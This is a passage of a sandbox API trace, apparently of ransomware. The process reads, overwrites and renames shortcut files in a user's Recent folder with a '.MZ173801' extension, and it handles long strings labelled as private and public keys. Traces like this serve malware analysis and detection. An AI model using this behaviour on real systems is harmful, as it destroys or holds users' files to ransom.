hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.810] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x2a1 [0152.810] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.810] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x2a1, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x2a1, lpOverlapped=0x0) returned 1 [0152.811] CloseHandle (hObject=0x280) returned 1 [0152.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xswsffkpz7njwrf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.813] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x2a1, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x2a1, lpOverlapped=0x0) returned 1 [0152.814] CloseHandle (hObject=0x280) returned 1 [0152.816] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xswsffkpz7njwrf.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XsWSFfkpZ7NjwRf.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xswsffkpz7njwrf.lnk.mz173801")) returned 1 [0152.817] GetCurrentThreadId () returned 0xab4 [0152.817] GetCurrentThreadId () returned 0xab4 [0152.817] GetCurrentThreadId () returned 0xab4 [0152.817] GetCurrentThreadId () returned 0xab4 [0152.817] GetCurrentThreadId () returned 0xab4 [0152.817] GetCurrentThreadId () returned 0xab4 [0152.817] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ce2dec3, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4ce2dec3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4ce2dec3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xWBAe007WO5EnzhrP2CH.lnk", cAlternateFileName="XWBAE0~1.LNK")) returned 1 [0152.817] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.817] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.817] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xwbae007wo5enzhrp2ch.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ce2dec3, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4ce2dec3, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4ce2dec3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x52a)) returned 1 [0152.817] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xwbae007wo5enzhrp2ch.lnk")) returned 0x20 [0152.817] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk", dwFileAttributes=0x80) returned 1 [0152.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.820] GetCurrentThreadId () returned 0xab4 [0152.821] GetCurrentThreadId () returned 0xab4 [0152.821] GetCurrentThreadId () returned 0xab4 [0152.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.821] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.821] GetCurrentThreadId () returned 0xab4 [0152.821] GetCurrentThreadId () returned 0xab4 [0152.821] GetCurrentThreadId () returned 0xab4 [0152.822] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xwbae007wo5enzhrp2ch.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x52a [0152.822] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.822] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x52a, lpOverlapped=0x0) returned 1 [0152.823] CloseHandle (hObject=0x280) returned 1 [0152.823] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xwbae007wo5enzhrp2ch.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.824] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x52a, lpOverlapped=0x0) returned 1 [0152.825] CloseHandle (hObject=0x280) returned 1 [0152.826] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xwbae007wo5enzhrp2ch.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\xWBAe007WO5EnzhrP2CH.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xwbae007wo5enzhrp2ch.lnk.mz173801")) returned 1 [0152.827] GetCurrentThreadId () returned 0xab4 [0152.827] GetCurrentThreadId () returned 0xab4 [0152.827] GetCurrentThreadId () returned 0xab4 [0152.827] GetCurrentThreadId () returned 0xab4 [0152.827] GetCurrentThreadId () returned 0xab4 [0152.827] GetCurrentThreadId () returned 0xab4 [0152.827] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x591b1167, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x591b1167, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x591b1167, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="yC1N.lnk", cAlternateFileName="")) returned 1 [0152.827] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.827] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yc1n.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x591b1167, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x591b1167, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x591b1167, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3b9)) returned 1 [0152.827] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\yc1n.lnk")) returned 0x20 [0152.828] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\yC1N.lnk", dwFileAttributes=0x80) returned 1 [0152.830] WideCharToMultiByte (in: CodePage=0x4e4, 